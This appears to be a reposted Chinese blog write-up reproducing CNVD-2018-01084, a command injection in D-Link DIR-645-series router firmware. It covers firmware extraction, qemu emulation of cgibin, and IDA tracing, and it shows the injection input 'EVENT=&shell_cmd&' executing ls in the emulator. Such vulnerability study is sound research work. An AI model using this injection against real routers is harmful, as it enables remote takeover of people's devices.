Dlink路由器 CNVD-2018-01084复现分析
0x01 背景介绍
D-Link DIR 615/645/815路由器1.03及之前的固件版本存在远程命令执行漏洞。该漏洞是由于service.cgi中拼接了HTTP POST请求中的数据,造成后台命令拼接,导致可执行任意命令。
cnvd上的漏洞说明:https://www.cnvd.org.cn/flaw/show/CNVD-2018-01084
0x02 固件分析
-
在官网获取漏洞版本的固件:DIR645A1_FW102B08.bin
-
解压固件,获得文件系统
(1)安装sasquatch

需要安装sasquatch https://github.com/devttys0/sasquatch
(2)binwalk


获得完整的文件系统
CGI中一般通过getenv或stdlib库函数getenv来获得环境变量获取post过来的数据,
getenv
要注入的命令放到request_uri环境变量时候成功
0x03 固件仿真
使用qemu user mode 对固件进行部分仿真,对象是cgibin
chroot . ./qemu-mipsel-static ./htdocs/cgibin
由于chroot . 改变根目录 无法搜索环境变量 qemu-mipsel-static
将其拷贝至当前目录 以./qemu-mipsel-static调用

发现提示unknown command cgibin
使用IDA分析main函数,发现:

将第一个参数与XXX.cgi做对比,选择执行XXX_main函数
那么,使用qemu -0方式 指定第一个参数
chroot . ./qemu-mipsel-static -0 "service.cgi" ./htdocs/cgibin

现在只要确定漏洞的调用链,并构造HTTP POST请求即可。
0x04 漏洞分析
命令注入一般发生在危险函数出现的地方,例如system, execve,execlp
以本漏洞的cgibin文件为例,使用IDA对system溯源分析

漏洞在lxmldbc_system函数

溯源可得

构造 EVENT=&shell_cmd& 则对于
lxmldbc_system(“event %s > /dev/null”, v5)
等价为:system(event & shell_cmd & > /dev/null)
可注入shell_cmd
溯源至main函数,构造完整的POST请求
CGI中一般通过getenv来获得环境变量获取post过来的数据。在cgibin中未找到stdin,scanf这样的函数或者字符串,因此把要注入的命令当做输入参数传递不能成功,仔细检查每一个genenv,把要注入的命令放到request_uri环境变量时候成功。

In cgibin_parse_request

最终脚本:
sudo chroot . ./qemu-mipsel-static
-0 "service.cgi"
-E REQUEST_METHOD="POST"
-E CONTENT_LENGTH=100
-E REQUEST_URI="service.cgi?EVENT=%26ls%ls"
-E CONTENT_TYPE="application/x-www-form-urlencoded"
-E HTTP_COOKIE="uid=ztl"
./htdocs/cgibin

异常错误??
在IDA中搜索:

可视化调用链:

0x05 动态调试
sudo chroot . ./qemu-mipsel-static -strace -g 1234
-0 "service.cgi"
-E REQUEST_METHOD="POST"
-E CONTENT_LENGTH=100
-E REQUEST_URI="service.cgi?EVENT=%26ls%26"
-E CONTENT_TYPE="application/x-www-form-urlencoded"
-E HTTP_COOKIE="uid=ztl"
./htdocs/cgibin
发现问题在cgibin_parse_request函数

动态调试,修改对应寄存器的值,使得可以正常运行至system

跳过 sess_validate函数(仿真环境没有路由器的证书等配置)

成功执行ls函数,并打印

0x06 漏洞利用
构造EVENT=&shell_cmd&
即可注入shell_cmd
以删除某文件为例

最终效果:

最后
以上就是无限未来最近收集整理的关于Dlink路由器 CNVD-2018-01084 远程命令执行漏洞 复现分析的全部内容,更多相关Dlink路由器内容请搜索靠谱客的其他文章。
发表评论 取消回复